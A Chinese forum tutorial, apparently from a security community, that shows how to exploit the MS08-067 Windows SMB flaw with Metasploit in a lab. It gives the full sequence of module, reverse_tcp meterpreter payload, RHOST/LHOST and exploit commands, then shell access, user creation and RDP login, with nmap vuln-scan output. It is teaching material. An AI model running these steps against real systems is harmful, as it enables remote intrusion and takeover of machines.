來源:http://bbs.ichunqiu.com/thread-10369-1-1.html?from=ch
社區(qū):I春秋
作者:X_Al3r
00x01
#[玩轉(zhuǎn)Metasplot第一節(jié)]
Ms08_067_netapi是一款Metasploit中有點老的溢出攻擊載荷,攻擊可以獲得一個相對高的權(quán)限
But,許多書上已經(jīng)說過了,為此我也不多介紹了
推薦書籍:Metasploit魔鬼訓(xùn)練營等,雖老但入門非常有用
00x02
在使用Metasploit之前我們需要連接上postgresql數(shù)據(jù)庫
具體操作看帖子:[AnaLyz3r]Linux kali的魅力--Nmap與Metasploit中的Metasploit部分
攻擊者ip:192.168.1.124
被攻擊ip:192.168.1.125
使用工具:Nmap,msfconsole,
利用的攻擊載荷:Ms08_067_netapi
利用的payload:windows/meterpreter/reverse_tcp
00x03
#開始使用
1:打開metasploit中的msfconsole框架
命令:
msfconsole
復(fù)制代碼

當然,打開metasploit之前需要連接上postgresql
命令:
service postgresql statr
復(fù)制代碼
2:尋找與加載Ms08_067模塊
如果你無法記住ms08_067_netapi的路徑的話可以使用search這個搜索命令
命令:
search ms08_067_netapi
復(fù)制代碼
搜索ms08_067_netapi路徑

可以看見,已經(jīng)搜索出ms08_067_netapi的路徑
我們使用use 來加載這個模塊

加載成功
3:設(shè)置模塊中的參數(shù)與加載一枚payload
首先我們可以使用show options 來查看所需要設(shè)置的參數(shù)

先添加RHOST中的參數(shù)
命令:
set RHOST 被攻擊者ip
復(fù)制代碼
我們在來加載一枚payload
命令:
set payload windows/meterpreter/reverse_tcp
復(fù)制代碼

加載成功,我們先使用show options命令來查看需要設(shè)置的參數(shù)

命令:
set LHOST 攻擊者ip
復(fù)制代碼
OK,設(shè)置完成后我們使用命令開始攻擊
命令:
exploit
復(fù)制代碼

成功攻擊會反彈一個meterpreter就表示攻擊成功,我們輸入命令
shell
復(fù)制代碼
就可以調(diào)用系統(tǒng)的cmd了,例如進行一個提權(quán)等看演示

可以看見,這是當前用戶

創(chuàng)建并添加成功- -# 因為我已經(jīng)打開了3389,直接mstsc /admin登錄

00x04
##Nmap輔助
可能你們很好奇,為什么沒有出現(xiàn)nmap,他的純在有什么意義。
首先,在利用ms08_067_netapi之前我們是不知道他存在這個漏洞的我們需要使用nmap掃出來
在msf下使用命令:
nmap --script=vuln 192.168.1.125
復(fù)制代碼
得出結(jié)果
Starting Nmap 7.01 ( [url]https://nmap.org[/url] ) at 2016-08-19 00:14 CST
Nmap scan report for 192.168.1.125
Host is up (0.0010s latency).
Not shown: 994 closed ports
PORT? ???STATE SERVICE
135/tcp??open??msrpc
139/tcp??open??netbios-ssn
445/tcp??open??microsoft-ds
1025/tcp open??NFS-or-IIS
3389/tcp open??ms-wbt-server
5000/tcp open??upnp
MAC Address: 00:0C:29:8E:0F:E9 (VMware)
Host script results:
| smb-vuln-cve2009-3103:
|? ?VULNERABLE:
|? ?SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|? ???State: VULNERABLE
|? ???IDs:??CVE:CVE-2009-3103
|? ?? ?? ???Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|? ?? ?? ???Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|? ?? ?? ???denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|? ?? ?? ???PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|? ?? ?? ???aka "SMBv2 Negotiation Vulnerability."
|
|? ???Disclosure date: 2009-09-08
|? ???References:
|? ?? ? [url]http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103[/url]
|_? ?? ?[url]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103[/url]
| smb-vuln-ms08-067:
|? ?VULNERABLE:
|? ?Microsoft Windows system vulnerable to remote code execution (MS08-067)
|? ???State: VULNERABLE
|? ???IDs:??CVE:CVE-2008-4250
|? ?? ?? ???The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|? ?? ?? ???Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|? ?? ?? ???code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|? ???Disclosure date: 2008-10-23
|? ???References:
|? ?? ? [url]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250[/url]
|_? ?? ?[url]https://technet.microsoft.com/en-us/library/security/ms08-067.aspx[/url]
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 16.14 seconds
復(fù)制代碼

可以看見nmap已經(jīng)掃出來了,為什么nmap會掃這些漏洞呢??
因為命令中vuln負責檢查目標機是否有常見的漏洞(Vulnerability),如是否有MS08_067
所以他可以掃出漏洞,然后在使用metasploit尋找指定的exploit
總結(jié)#
1:可以先使用nmap進行一個簡單的漏洞掃描,如果存在系統(tǒng)漏洞等可以在使用msf中的模塊進行溢出
2:耐心,耐心,耐心